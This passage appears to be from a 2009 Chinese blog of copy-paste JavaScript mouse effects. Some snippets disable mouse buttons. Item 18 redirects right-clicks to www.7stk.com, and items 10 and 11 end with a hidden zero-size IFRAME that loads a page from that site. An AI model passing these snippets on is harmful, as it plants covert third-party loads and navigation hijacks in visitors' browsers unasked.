function smallcircle(){if (isbigcircle==0){if (document.all){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.all.span"+(i)+".style");thisspan.posLeft=(smallradius*Math.cos(startwinkel*(pi/180)))+x;thisspan.posTop=(smallradius*Math.sin(startwinkel*(pi/180)))+y;startwinkel=startwinkel+30;}}

if (document.layers){for (i=1; i<=imgnumber; i++){var thisspan = eval("document.span"+i);thisspan.left=(smallradius*Math.cos(startwinkel*(pi/180)))+x;thisspan.top=(smallradius*Math.sin(startwinkel*(pi/180)))+y;startwinkel=startwinkel+30;}}

step=step+5;startwinkel=step;timersmall=setTimeout("smallcircle()",pause);}else{isbigcircle=0;clearTimeout(timersmall);}}

window.onoad=initiate();for (i=1;i<=imgnumber;i++){document.write("<span id='span"+i+"' class='spanstyle'>");document.write("<img src='"+imgsrc+"'>");document.write("</span>");}if (document.layers){document.captureEvents(Event.MOUSEMOVE);}document.onmousemove = handlerMM;document.onresize = onresizer;

// End -->

</SCRIPT>

 

<a href="http://" title="" onMouseOver="presmallcircle()" onMouseOut="prebigcircle()"><font color="#000000" size="2" face="宋体">eeeeeeeeeeeeeeeeeee</font></a><br>

<a href="http://" title="" onMouseOver="presmallcircle()" onMouseOut="prebigcircle()"><font color="#000000" size="2" face="宋体">errrrrrrrrrrrr</font></a><br>

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

21、跟随鼠标另类文字

21、跟随鼠标另类文字

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var msg='鼠标动态旋转文字-鼠标代码-鼠标特效-鼠标变形-网页特效代码';

var font='宋体';

var size=2;

var color='#FFCC00';

var speed=.2;

var rotation=.2;

var ns=(document.layers);

var ie=(document.all);

var msg=msg.split('');

var n=msg.length;

var a=size*15;

var currStep=0;

var ymouse=0;

var xmouse=0;

var scrll=0;

var props="<font face="+font+" size="+size+" color="+color+">";

if (ie)

window.pageYOffset=0

       if (ns){

       for (i=0; i < n; i++)

              document.write('<layer name="nsmsg'+i+'" top=0 left=0 height='+a+' width='+a+'><center>'+props+msg[i]+'</font></center></layer>');    }

       if (ie){

              document.write('<div id="outer" style="position:absolute;top:0px;left:0px"><div style="position:relative">');

              for (i=0; i < n; i++)

                     document.write('<div id="iemsg" style="position:absolute;top:0px;left:0;height:'+a+';width:'+a+';text-align:center;font-weight:regular;cursor:default">'+props+msg[i]+'</font></div>');

                     document.write('</div></div>');    }

       (ns)?window.captureEvents(Event.MOUSEMOVE):0;

function Mouse(evnt){

       ymouse = (ns)?evnt.pageY+20-(window.pageYOffset):event.y;

       xmouse = (ns)?evnt.pageX+20:event.x-20;

}

if (ns||ie)

(ns)?window.onMouseMove=Mouse:document.onmousemove=Mouse;

y=new Array();

x=new Array();

Y=new Array();

X=new Array();

for (i=0; i < n; i++){

       y[i]=0;

       x[i]=0;

       Y[i]=0;

       X[i]=0;}

function makecircle(){

if (ie) outer.style.top=document.body.scrollTop;

currStep-=rotation;

       for (i=0; i < n; i++){

              var d=(ns)?document.layers['nsmsg'+i]:iemsg[i].style;

              d.top=y[i]+a*Math.sin((currStep+i*1)/3.8)+window.pageYOffset-15;

              d.left=x[i]+a*Math.cos((currStep+i*1)/3.8)*2;    }}

function drag(){

       scrll=(ns)?window.pageYOffset:0;

       y[0]=Math.round(Y[0]+=((ymouse)-Y[0])*speed);

       x[0]=Math.round(X[0]+=((xmouse)-X[0])*speed);

       for (var i=1; i < n; i++){

              y[i]=Math.round(Y[i]+=(y[i-1]-Y[i])*speed);

              x[i]=Math.round(X[i]+=(x[i-1]-X[i])*speed);     }

       makecircle();

       setTimeout('drag()',10);}

if (ns||ie)window.onload=drag;

// End -->

</SCRIPT>

 

 

0 Comments

Thu

05

Mar

2009

20、随心飞舞鼠标代码

20、随心飞舞鼠标代码

<STYLE type=text/css>BODY {

       FONT-SIZE: 9pt; FONT-FAMILY: "宋体"

}

TD {

       FONT-SIZE: 9pt; FONT-FAMILY: "宋体"

}

A:link {

       TEXT-DECORATION: underline

}

A:hover {

       TEXT-DECORATION: none

}

</STYLE>

 

<STYLE type=text/css>#a0 {

       Z-INDEX: 2000; LEFT: 24px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a1 {

       Z-INDEX: 2000; LEFT: 96px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a2 {

       Z-INDEX: 2000; LEFT: 132px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a3 {

       Z-INDEX: 2000; LEFT: 192px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a4 {

       Z-INDEX: 2000; LEFT: 240px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a5 {

       Z-INDEX: 2000; LEFT: 280px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 24px; HEIGHT: 16px

}

#a6 {

       Z-INDEX: 2000; LEFT: 24px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a7 {

       Z-INDEX: 2000; LEFT: 200px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a8 {

       Z-INDEX: 2000; LEFT: 300px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#a9 {

       Z-INDEX: 2000; LEFT: 450px; WIDTH: 16px; CLIP: rect(0px 16px 16px 0px); POSITION: absolute; TOP: 300px; HEIGHT: 16px

}

#what {

       Z-INDEX: 3000; LEFT: -96px; VISIBILITY: hidden; POSITION: absolute; TOP: 0px

}

.dbt2 {

       BACKGROUND-COLOR: #fecac5

}

.dbt4 {

       BACKGROUND-COLOR: #fdf7f7

}

</STYLE>

</HEAD>

<BODY text=#ffffff vLink=#ffffff aLink=#ffffff link=#ffffff bgProperties=fixed

bgColor=#000000

background="pic/backokxy.gif"

onload=startthedots()>

<SCRIPT language=JavaScript>

  window.onerror=null;

  netscape = (document.layers) ? 1:0;

  goodIE = (document.all) ? 1:0;

  //window.onResize="history.go(0); setup()";

  document.onmousemove=MoveHandler;

  var gotthere = 0;

  var count = 0;

  toplocation = new Array( 0,30,57,80,101,125,80,80,101,125,80,0 );

  temptoplocation = new Array( 50,100,100,150,150,200,200,100,150,150,200,200,0

  );

  leftlocation = new Array( 0,292,318,181,181,217,263,318,181,181,217,263,-96

  );

  templeftlocation = new Array( 0,0,260,390,420,550,680,390,420,550,680,0 );

  difftop = new Array( 0,0,0,0,0,0,0,0,0,0,0,0 );

  diffleft = new Array( 0,0,0,0,0,0,0,0,0,0,0,0 );

  questtop = -13;

  questleft2 = -96;

  if (netscape) {

  window.captureEvents(Event.MOUSEMOVE);

  window.onMouseMove = MoveHandler;

  var layerstart = "document.";

  var layerleft = ".left";

  var layertop = ".top";

  var layerstyle = "";

  var windowWidth = window.innerWidth;

  var windowHeight = window.innerHeight; }

  else if (goodIE) {

  layerstart = "document.all.";

  layerleft = ".left";

  layertop = ".top";

  layerstyle = ".style";

  windowWidth=600;

  windowHeight=400; }

  // end error trapping

  var Ypos2 = 72;

  var Xpos2 = 72;

  function MoveHandler(e) {

  if (netscape || goodIE) {

  Xpos2 = (netscape)?e.pageX:event.x

  Ypos2 = (netscape)?e.pageY:event.y

  Xorigin = Xpos2;

  Yorigin = Ypos2;

  if (Ypos2 > windowHeight/2) {

  if (Xpos2 > windowWidth/2) { direction = 1;}

  else { direction = -1;} }

  else {

  if (Xpos2 > windowWidth/2) { direction = -1;}

  else { direction = 1;} }

  }}

  amountup=44;

  function startthedots() {

  if (goodIE) {

  windowWidth=document.body.clientWidth;

  windowHeight=document.body.clientHeight; }

  markMe();

  eval(layerstart+"what"+layerstyle+layertop+" = windowHeight-amountup");

  eval(layerstart+"what"+layerstyle+".visibility = 'visible'");

  Xorigin = 204;

  Yorigin = 147;

  spin();run(); }

  var OrbitSize = 250;

  count=1; delay=100; direction = -1;

  var speed = 0.0628;

  var offset = 1;

  Count = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67 );

  PreCount = new Array ( 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 );

  Xcount = new Array()

  Ycount = new Array()

  for ( j = 0 ; j <= 300 ; j++ ) {

  Xcount[j] = Math.sin(j*speed);

  Ycount[j] = Math.cos(j*speed);

  }

  placeholder = 100;

  Xpoint = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67

  );

  Ypoint = new Array ( 0, .63, 1.26, 1.89, 2.52, 3.15, 3.78, 4.41, 5.04, 5.67

  );

  function spin() {

  if (direction) {

  placeholder++;

  if (placeholder > 199) { placeholder=100; }}

  else {

  placeholder--;

  if (placeholder < 100 ) { placeholder=199; }}

  for ( j = 0 ; j <= 9 ; j++ ) {

  Xpoint[j] = Xorigin + ( (OrbitSize*offset) * Xcount[placeholder+(j*10*direction)]

  );

  Ypoint[j] = Yorigin + ((OrbitSize * Ycount[placeholder+(j*10*direction)]) +

  dotsoff);

  }

  setTimeout('spin()',20);

  //window.status='Xorigin = '+Xorigin+' / Yorigin = '+Yorigin;

  }

  function run() {

  count++;

  for ( j = 0 ; j <= 9 ; j++ ) {

  difftop[j] = Ypoint[j] - temptoplocation[j];

  diffleft[j] = Xpoint[j] - templeftlocation[j];

  diff = 30;

  temptoplocation[j] = temptoplocation[j] + (difftop[j]/diff);

  templeftlocation[j] = templeftlocation[j] + diffleft[j]/diff;

  eval(layerstart+"a"+j+layerstyle+layerleft+" = templeftlocation["+j+"]");

  eval(layerstart+"a"+j+layerstyle+layertop+" = temptoplocation["+j+"]");

  }

  setTimeout('run()', 47) }

  goforit=1;

  function question0() {

  if (goforit) { goforit=0; question1(); }}

  function question1() {

  questleft2++;questleft2++;questleft2++;

  if (questleft2 <= 0) {

  eval(layerstart+"what"+layerstyle+layerleft+" = questleft2");

 

  setTimeout('question1()', 10); }

  else { setTimeout('question2()',1000);}

  }

  function question2() {

  questleft2--;questleft2--;questleft2--;

  if (questleft2 >= -96) {

  eval(layerstart+"what"+layerstyle+layerleft+" = questleft2");

 

  setTimeout('question2()', 10); }

  if (questleft2 == -96) { goforit=1; } }

  mark = 150; // milliseconds

  navDOM = window.innerHeight; // Nav DOM flag

  function markMe() {

  window.onresize=setup;

  markID = setInterval ("setup()",mark);

  }

  var dotsoff=0;

  function setup() {

  pagescroll=navDOM?pageYOffset:document.body.scrollTop

  eval(layerstart+"what"+layerstyle+layertop+" = windowHeight-amountup+pagescroll");

  if (!netscape) { dotsoff = pagescroll; }

  }

  //-- end script -->

  </SCRIPT>

 

<DIV id=a0 align=center><IMG height=14

src="../store/pic/love001.gif"

width=14></DIV>

<DIV id=a1 align=center><IMG height=14

src="../store/pic/love002.gif"

width=14></DIV>

<DIV id=a2 align=center><IMG height=14

src="../store/pic/love003.gif"

width=14></DIV>

<DIV id=a3 align=center><IMG height=14

src="../store/pic/love004.gif"

width=14></DIV>

<DIV id=a4 align=center><IMG height=14

src="../store/pic/love005.gif"

width=14></DIV>

<DIV id=a5 align=center><IMG height=14

src="../store/pic/love006.gif"

width=14></DIV>

<DIV id=a6 align=center><IMG height=14

src="../store/pic/love007.gif"

width=14></DIV>

<DIV id=a7 align=center><IMG height=14

src="../store/pic/love008.gif"

width=14></DIV>

<DIV id=a8 align=center><IMG height=14

src="../store/pic/love001.gif"

width=14></DIV>

<DIV id=a9 align=center><IMG height=14

src="../store/pic/love002.gif"

width=14></DIV>

<DIV id=what align=left></DIV>

 

 

0 Comments

Thu

05

Mar

2009

19、围绕的雪花鼠标代码

19、围绕的雪花鼠标代码

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gb2312">

<title>特效名称:心跳转动鼠标</title>

</head>

 

<body>

 

 

<SCRIPT LANGUAGE="JavaScript">

<!-- Begin

var images='../stroe/pic/xintiaom.gif';

var amount=7;

var cnter=70;

var step;

var currStep = 0;

var Xpos = 0;

var Ypos = 0;

if (document.all)

{

document.write('<div id="ieDiv" style="position:absolute;top:0px;left:0px">')

document.write('<div id="c" style="position:relative">');

for (n=0; n < amount; n++)

document.write('<img src=" '+images+'" style="position:absolute;top:0px;left:0px">')

document.write('</div>')

document.write('</div>')

function MsieMouseFollow(){

 Xpos = document.body.scrollLeft+event.x-5;

 Ypos = document.body.scrollTop+event.y-5;

 }

 document.onmousemove = MsieMouseFollow;

}

else if (document.layers)

{

window.captureEvents(Event.MOUSEMOVE);

for (ns=0; ns < amount; ns++)

document.write("<LAYER NAME='n"+ns+"' LEFT=0 TOP=0><IMG SRC='"+images+"'></LAYER>");

function NsMouseFollow(evnt){

 Xpos = evnt.pageX-5;

 Ypos = evnt.pageY-5;

 }

 window.onMouseMove = NsMouseFollow;

}

 

function Swirl(){

if (currStep<0.0550)

step=0.001;

if (document.all)

{

 for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top = Ypos+cnter*Math.cos((currStep+i*4.5)/5)*Math.sin((currStep)*150);

ieDiv.all.c.all[i].style.left = Xpos+cnter*Math.sin((currStep+i*4.5)/5)*Math.sin((currStep)*150);

 }

}

else if (document.layers)

{

 for ( i = 0 ; i < ns ; i++ )

 {

  var temp="n"+i

  document.layers[temp].top = Ypos+cnter*Math.cos((currStep+i*4.5)/5)*Math.sin((currStep)*150);

  document.layers[temp].left =Xpos+cnter*Math.sin((currStep+i*4.5)/5)*Math.sin((currStep)*150);

 }

}

currStep += step;

setTimeout("Swirl()", 10);

if (currStep>0.0540)

{

step+=0.002;

if (document.layers)

{

 for ( i = 0 ; i < ns ; i++ )

 {

var temp="n"+i

document.layers[temp].top =Ypos+cnter*Math.cos((currStep+i*4.5)/5)

document.layers[temp].left=Xpos+cnter*Math.sin((currStep+i*4.5)/5)

 }

}

else if (document.all)

{

for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top=Ypos+cnter*Math.cos((currStep+i*4.5)/5)

ieDiv.all.c.all[i].style.left=Xpos+cnter*Math.sin((currStep+i*4.5)/5)

 }

}

}

if (step > 0.5)

{

step=0.5;

cnter-=8;

}

if (document.layers)

_y=-window.innerWidth;

else if (document.all)

_y=-document.body.clientWidth;

if (cnter <= _y)

{

currStep=0;

step=0.001;

cnter=70;

}

}

Swirl();

// End -->

</SCRIPT>

 

 

 

</body>

 

</html>

 

1 Comments

Thu

05

Mar

2009

18、右键自动连接代码

18、右键自动连接代码

脚本说明:

 

把如下代码加入<body>区域中

 

<script language=JavaScript>

 

 

 

if (navigator.appName.indexOf("Internet Explorer") != -1)      

 

       document.onmousedown = noSourceExplorer;

 

      

 

function noSourceExplorer()

 

{

 

       if (event.button == 2 | event.button == 3)

 

       {

         alert("现在正在打开冰峰山庄网页特效代码");

 

              location.replace("http://www.7stk.com");

 

       }

 

}

 

</script>

 

1 Comments

Thu

05

Mar

2009

17、禁止鼠标左右键代码

17、禁止鼠标左右键代码

修改<body>标签,加入onContextMenu="return false" onSelectStart="return false"

 

例如,把<body bgColor="#FFFFFF">改为<body bgColor="#FFFFFF" onContextMenu="return false" onSelectStart="return false">

 

0 Comments

Thu

05

Mar

2009

16、图片随鼠标特效代码

16、图片随鼠标特效代码

脚本说明:

第一步:把如下代码加入<body>区域中

<SCRIPT LANGUAGE="JavaScript">

       var newtop=0

       var newleft=0

       if (navigator.appName == "Netscape") {

              layerStyleRef="layer.";

              layerRef="document.layers";

              styleSwitch="";

              }

              else

              {

              layerStyleRef="layer.style.";

              layerRef="document.all";

              styleSwitch=".style";

              }

 

       function doMouseMove() {

 

              layerName = 'iit'

 

              eval('var curElement='+layerRef+'["'+layerName+'"]')

              eval(layerRef+'["'+layerName+'"]'+styleSwitch+'.visibility="hidden"')

              eval('curElement'+styleSwitch+'.visibility="visible"')

              eval('newleft=document.body.clientWidth-curElement'+styleSwitch+'.pixelWidth')

              eval('newtop=document.body.clientHeight-curElement'+styleSwitch+'.pixelHeight')

              eval('height=curElement'+styleSwitch+'.height')

              eval('width=curElement'+styleSwitch+'.width')

              width=parseInt(width)

              height=parseInt(height)

              if (event.clientX > (document.body.clientWidth - 5 - width))

              {

              newleft=document.body.clientWidth + document.body.scrollLeft - 5 - width

              }

              else

              {

              newleft=document.body.scrollLeft + event.clientX

              }

              eval('curElement'+styleSwitch+'.pixelLeft=newleft')

 

              if (event.clientY > (document.body.clientHeight - 5 - height))

              {

              newtop=document.body.clientHeight + document.body.scrollTop - 5 - height

              }

              else

              {

              newtop=document.body.scrollTop + event.clientY

              }

              eval('curElement'+styleSwitch+'.pixelTop=newtop')

}

 

       document.onmousemove = doMouseMove;

 

</SCRIPT>

第二步:把如下代码加入<body>区域中

<script language="javascript">

       if (navigator.appName == "Netscape") {

 

       }

       else

       {

              document.write('<div ID=OuterDiv>')

              document.write('<img ID=iit src="http://www38.websamba.com/fawang/store/logo/logo1.gif" STYLE="position:absolute;TOP:0pt;LEFT:0pt;width=103;height=28;Z-INDEX:2;visibility:hidden;">')

              document.write('</div>')

       }

</script>

 

0 Comments

Thu

05

Mar

2009

15、字符围绕鼠标特效

15、字符围绕鼠标特效

<html>

 

<head>

<title>网页特效---围绕鼠标跳动的字符</title>

<meta content="text/html; charset=gb2312" http-equiv="Content-Type">

</head>

 

<body>

 

<script language="javascript">

<!--

var cx=0;

var cy=0;

var val=0;

function locate()

{ cx=window.event.x;

 cy=window.event.y;

 

}

document.onmousemove=locate;

function follow(i)

{ var x;

 if(i<4)x=cx-50+i*10;

 else x=cx-25+i*10;

 var y=cy-20+Math.floor(Math.random()*40);

 w=eval("word"+i);

 with(w.style)

 {

 left=x.toString()+"px";

 top=y.toString()+"px";

 }

}

function show(i)

{

 var w=eval("word"+i);

 with(w.style)

 {

 visibility="visible";

 s=parseInt(fontSize);

 if(s>=200)s-=100;

 else if(s>90&&s<=100)

  {

  s-=85;

  clearInterval(val);

  if(i<8)val=setInterval("show("+(i+1)+")",20);

  }

 fontSize=s;

 }

 

}

function start()

{ for(i=1;i<=8;i++)

 {

 val=setInterval("show(1)",20);

 setInterval("follow("+i+")",100);

 

 }

}

 

 

 

 var word=new Array(8);

 word[1]="";word[2]="";word[3]="";word[4]="";word[5]="";

word[6]="";word[7]="";word[8]="";

 for(i=1;i<=8;i++)

  document.write("<div id='word"+i+"' style='width:20px;height:20px;position:absolute;font-size:1000;visibility:hidden'><font face='Forte' color='#cc0000'>"+word[i]+"</font></div>");start();

 

</script>

 

</body>

</html>

 

0 Comments

Thu

05

Mar

2009

14、自动打开页面代码

14、自动打开页面代码

脚本说明:

第一步:把如下代码加入<head>区域中(你可以对链接及说明作相应修改)

<SCRIPT Language="JavaScript">function winopen() {msg1=open("update.htm","Homepage","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width=200,height=250");}</script>

 

 

第二步:把如下代码加入<body>区域中

<SCRIPT Language="JavaScript">function winopen1() {msg1=open("s100.htm","Homepage","toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,copyhistory=no,width=200,height=250");}</script>

<a href="" onMouseOver="winopen1(); return true;" onMouseOut="msg1.close();">update</a>

 

0 Comments

Thu

05

Mar

2009

13、禁止鼠标左键代码

13、禁止鼠标左键代码

<!--将以下代码加入HTML<HEAD></HEAD>之间-->

<script language="javascript">

function click() {

if (event.button==1) {

  alert('不许点左键  :)')

  }

}

document.onmousedown=click

</script>

 

0 Comments

Thu

05

Mar

2009

12、禁止鼠标右键代码

12、禁止鼠标右键代码

<!--将以下代码加入HTML<HEAD></HEAD>之间-->

<script language="javascript">

function click() {

if (event.button==2) {

  alert('你想干什么?')

  }

}

document.onmousedown=click

</script>

 

0 Comments

Thu

05

Mar

2009

11、疯狂的攻击鼠标代码

11、疯狂的攻击鼠标代码

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=JavaScript>

<!--

var speed=20,divTop=0,divLeft=0,angle=0,ypos=0,xpos=0,amount=13;

if (document.layers){

for (i = 0; i < amount; i++)

{document.write('<layer name=nsa'+i+' top=0 left=0 width='+i/3+' height='+i/3+' bgcolor=#ffffff></layer>');}

window.captureEvents(Event.MOUSEMOVE);

function nsMouse(evnt){

xpos=evnt.pageX;ypos=evnt.pageY;

}

window.onMouseMove = nsMouse;

}

else if (document.all){

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < amount; i++)

{document.write('<div id=k style="position:absolute;top:0px;left:0px;width:'+i/3+';height:'+i/3+';background:#ffffff;font-size:'+i/3+'"></div>')}

document.write('</div></div>');

function iMouse(){xpos=event.x;ypos=document.body.scrollTop+event.y}

document.onmousemove = iMouse;

}

function getAngle(){

Y = ypos - divTop;X = xpos - divLeft;angle = Math.round(Math.atan2(Y,X) * 180/Math.PI);

if (angle < 0)angle += 360;

}

function bomb(){

if (document.layers){

Yscroll=window.pageYOffset;

ybase=Math.round(Math.random()*window.innerHeight);xbase=Math.round(Math.random()*window.innerWidth);

yybase=window.innerHeight-10;xxbase=window.innerWidth-10;

}

else if (document.all){

Yscroll=document.body.scrollTop;

ybase=Math.round(Math.random()*window.document.body.offsetHeight);xbase=Math.round(Math.random()*window.document.body.offsetWidth);

xxbase=window.document.body.offsetWidth-10;yybase=window.document.body.offsetHeight-10;

}

if ((xbase > 10 && xbase < xxbase) && (ybase > 10 && ybase < yybase))

bomb();

else

 {

  if ((divLeft > xpos-speed/1.5) && (divLeft < xpos+speed/1.5) && (divTop >= ypos-speed/1.5) && (divTop <= ypos+speed/1.5))

  {divTop=ybase+Yscroll;divLeft=xbase}

y = Math.round(speed*Math.sin(angle*Math.PI/180));x = Math.round(speed*Math.cos(angle*Math.PI/180));

divTop+=y;divLeft+=x;

getAngle();

T=setTimeout('bomb()',20);

 }

}

function Split(){

Clrs=new Array('fff000','ffffff','ffa500')

var ntscp=document.layers,msie=document.all;

 

if (document.layers){

for (i = 0; i < amount; i++)

{

 if (i < amount-1)

 {ntscp['nsa'+i].top=ntscp['nsa'+(i+1)].top;ntscp['nsa'+i].left=ntscp['nsa'+(i+1)].left}

else 

 {ntscp['nsa'+i].top=divTop;ntscp['nsa'+i].left=divLeft}

}

}

else if (document.all){

for (i = 0; i <  amount; i++)

{

 if (i < amount-1)

 {msie.k[i].style.top=msie.k[i+1].style.top;msie.k[i].style.left=msie.k[i+1].style.left}

  else

  {msie.k[i].style.top=divTop;msie.k[i].style.left=divLeft}

}

}

for (i=0; i < amount-1; i++)

  {

   for (n=0; n < Clrs.length; n++)

   {var x=Math.round(Math.random()*n)}

   if (document.layers){ntscp['nsa'+i].bgColor=Clrs[x]}

   else if (document.all){msie.k[i].style.background=Clrs[x]}

  }

setTimeout("Split()",20);

}

function StArT(){bomb();Split()}

window.onload=StArT;

//-->

</SCRIPT>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

10、卫星围绕鼠标代码

10、卫星围绕鼠标代码

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=JavaScript>

<!--

Clrs=new Array('ff0000','00ff00','ffffff','ff00ff','ffa500','ffff00','00ff00','ffffff','ff00ff')

var speed=1;

var RunTime = 0;

var cntr=0;

var xcntr=100;

var Nslayers;

var pulse=25;

var onClrs;

var Xpos = 421;

var Ypos = 231;

var _y;

if (document.layers){

window.captureEvents(Event.MOUSEMOVE);

function xFollowMouse(evnt){

Xpos = evnt.pageX;

Ypos = evnt.pageY;

}

window.onMouseMove = xFollowMouse;

document.write('<layer name="a0" left=10 top=10 bgcolor="#ff0000" clip="0,0,2,2"></layer>'

+'<layer name="a1" left=10 top=10 bgcolor="#00ff00" clip="0,0,2,2"></layer>'

+'<layer name="a2" left=10 top=10 bgcolor="#ffffff" clip="0,0,2,2"></layer>'

+'<layer name="a3" left=10 top=10 bgcolor="#ffa500" clip="0,0,2,2"></layer>'

+'<layer name="a4" left=10 top=10 bgcolor="#ff00ff" clip="0,0,2,2"></layer>'

+'<layer name="a5" left=10 top=10 bgcolor="#8888ff" clip="0,0,2,2"></layer>'

+'<layer name="a6" left=10 top=10 bgcolor="#fff000" clip="0,0,2,2"></layer>');

}

else if (document.all){

function FollowMouse(){

Xpos = document.body.scrollLeft+event.x;

Ypos = document.body.scrollTop+event.y;

}

document.onmousemove = FollowMouse;

document.write('<div id="ieDiv" style="position:absolute;top:0px;left:0px">'

+'<div id="c" style="position:relative">'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#ff0000;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#00ff00;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#ffffff;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#ffa500;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#ff00ff;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#8888ff;font-size:2px"></div>'

+'<div style="position:absolute;top:0px;left:0px;width:2px;height:2px;background:#fff000;font-size:2px"></div>'

+'</div>'

+'</div>');

}

function sv2(){

if (document.layers){

for (i=0;i<7;i++)

{

Nslayers="a"+i;

document.layers[0].top=Ypos+cntr*Math.cos((RunTime+i*4.5)/5);

document.layers[0].left=Xpos+cntr*Math.sin((RunTime+i*4.5)/5);

var randCol=Math.round(Math.random()*8);

document.layers[0].bgColor=Clrs[randCol];

}

cntr+=1;

RunTime+=speed;

stp=setTimeout('sv2()',10);

if (cntr>=100)

{

cntr=100;

speed=2.5;

for (i=0;i<7;i++)

 {

 Nslayers="a"+i;

 document.layers[Nslayers].top=Ypos+cntr*Math.cos((RunTime-100)*i/90);

 document.layers[Nslayers].left=Xpos+cntr*Math.sin((RunTime-100)*i/90);

 }

}

if (RunTime>182)

{

speed=0.5;

for (i=0;i<7;i++)

 {

 Nslayers="a"+i;

 document.layers[Nslayers].top=Ypos+xcntr*Math.cos(((RunTime-182)+i*4.5)/5)*Math.cos((RunTime-182)/5);

 document.layers[Nslayers].left=Xpos+xcntr*Math.sin(((RunTime-182)+i*4.5)/5);

 }

}

}

else if (document.all){

for (i=0;i<ieDiv.all.c.all.length;i++)

{

var randCol=Math.round(Math.random()*8);

ieDiv.all.c.all[0].style.background=Clrs[randCol];

ieDiv.all.c.all[0].style.top=Ypos+cntr*Math.cos((RunTime+i*4.5)/5);

ieDiv.all.c.all[0].style.left=Xpos+cntr*Math.sin((RunTime+i*4.5)/5);

}

cntr+=1;

RunTime+=speed;

window.status=RunTime;

stp=setTimeout('sv2()',10);

if (cntr>=100)

{

cntr=100;

speed=2.5;

for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top=Ypos+cntr*Math.cos((RunTime-100)*i/90);

ieDiv.all.c.all[i].style.left=Xpos+cntr*Math.sin((RunTime-100)*i/90);

 }

}

if (RunTime>182)

{

speed=0.5;

for (i=0;i<ieDiv.all.c.all.length;i++)

 {

ieDiv.all.c.all[i].style.top=Ypos+xcntr*Math.cos(((RunTime-182)+i*4.5)/5)*Math.cos((RunTime-182)/5);

ieDiv.all.c.all[i].style.left=Xpos+xcntr*Math.sin(((RunTime-182)+i*4.5)/5);

 }

}

}

if (RunTime>210)

{

xcntr-=10;

}

if (document.layers)

_y=-window.innerWidth-90;

else if (document.all)

_y=-document.body.clientWidth-90;

if (xcntr <= _y)

{

RunTime=0;

speed=1;

cntr=0;

xcntr=100;

}

}

sv2()

//-->

</SCRIPT>

 

 

 

 

 

 

 

 

 

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

 

 

 

 

 

 

 

 

 

</body>

 

</html>

 

0 Comments

Thu

05

Mar

2009

9、跟随鼠标的花絮

9、跟随鼠标的花絮

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=JavaScript>

<!--

//To add more stars simply add more colours in below array!!

colours=new Array('ff0000','00ff00','3366ff','ff00ff','ffa500','ffffff','fff000')

 

//Alter nothing below!!

amount=colours.length;

YgetDelay=0,XgetDelay=0,Ydelay=0,Xdelay=0,ns=(document.layers)?1:0,step=0.2,currStep=0,my=0,mx=0;

if (ns){

for (i=0; i < amount; i++)

document.write('<LAYER NAME="nsstars'+i+'" BGCOLOR='+colours[i]+' CLIP="0,0,2,2"></LAYER>');

}

else{

document.write('<div id="ie" style="position:absolute;top:0;left:0;"><div style="position:relative">');

for (i=0; i < amount; i++)

document.write('<span id="iestars" style="position:absolute;top:0;left:0;width:2px;height:2px;background:'+colours[i]+';font-size:2px"></span>');

document.write('</div></div>');

}

if (ns){

window.captureEvents(Event.MOUSEMOVE);

function nMouse(evnt){                              

my=evnt.pageY;mx=evnt.pageX

}

window.onMouseMove=nMouse;

}

else{

function iMouse(){

my=event.y;mx=event.x;

}

document.onmousemove=iMouse

}

function stars(){

if (!ns)ie.style.top=document.body.scrollTop;

for (i=0; i < amount; i++)

 {

 var layer=(document.layers)?document.layers["nsstars"+i]:iestars[i].style;

